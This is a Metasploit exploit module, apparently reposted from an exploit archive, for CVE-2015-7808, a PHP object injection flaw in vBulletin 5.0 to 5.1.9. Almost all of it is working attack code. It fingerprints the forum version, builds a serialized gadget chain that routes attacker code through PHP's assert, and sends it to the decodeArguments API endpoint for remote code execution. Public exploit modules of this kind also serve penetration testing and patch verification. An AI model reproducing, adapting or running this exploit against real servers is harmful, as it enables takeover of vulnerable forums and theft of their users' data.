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vBulletin 5.1.2 Unserialize Code Execution Exploit
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## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'vBulletin 5.1.2 Unserialize Code Execution', 'Description' => %q{ This module exploits a PHP object injection vulnerability in vBulletin 5.1.2 to 5.1.9 }, 'Platform' => 'php', 'License' => MSF_LICENSE, 'Author' => [ 'Netanel Rubin', # reported by 'cutz', # original exploit 'Julien (jvoisin) Voisin', # metasploit module ], 'Payload' => { 'BadChars' => "\x22", }, 'References' => [ ['CVE', '2015-7808'], ['EDB', '38629'], ['URL', 'http://pastie.org/pastes/10527766/text?key=wq1hgkcj4afb9ipqzllsq'], ['URL', 'http://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/'] ], 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic Targeting', { 'auto' => true } ], ['vBulletin 5.0.X', {'chain' => 'vB_Database'}], ['vBulletin 5.1.X', {'chain' => 'vB_Database_MySQLi'}], ], 'DisclosureDate' => 'Nov 4 2015', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [ true, "The base path to the web application", "/"]) ], self.class) end def check begin res = send_request_cgi({ 'uri' => target_uri.path }) if (res && res.body.include?('vBulletin Solutions, Inc.')) if res.body.include?("Version 5.0") @my_target = targets[1] if target['auto'] return Exploit::CheckCode::Appears elsif res.body.include?("Version 5.1") @my_target = targets[2] if target['auto'] return Exploit::CheckCode::Appears else return Exploit::CheckCode::Detected end end rescue ::Rex::ConnectionError return Exploit::CheckCode::Safe end end def exploit print_status("#{peer} - Trying to inferprint the instance...") @my_target = target check_code = check unless check_code == Exploit::CheckCode::Detected || check_code == Exploit::CheckCode::Appears fail_with(Failure::NoTarget, "#{peer} - Failed to detect a vulnerable instance") end if @my_target.nil? || @my_target['auto'] fail_with(Failure::NoTarget, "#{peer} - Failed to auto detect, try setting a manual target...") end print_status("#{peer} - Exploiting #{@my_target.name}...") chain = 'O:12:"vB_dB_Result":2:{s:5:"*db";O:' chain << @my_target["chain"].length.to_s chain << ':"' chain << @my_target["chain"] chain << '":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"assert";}}s:12:"*recordset";s:' chain << "#{payload.encoded.length}:\"#{payload.encoded}\";}" chain = Rex::Text.uri_encode(chain) chain = chain.gsub(/%2a/, '%00%2a%00') # php and Rex disagree on '*' encoding send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'ajax/api/hook/decodeArguments'), 'vars_get' => { 'arguments' => chain }, 'encode_params' => false, }) end end # 0day.today [2024-07-02] #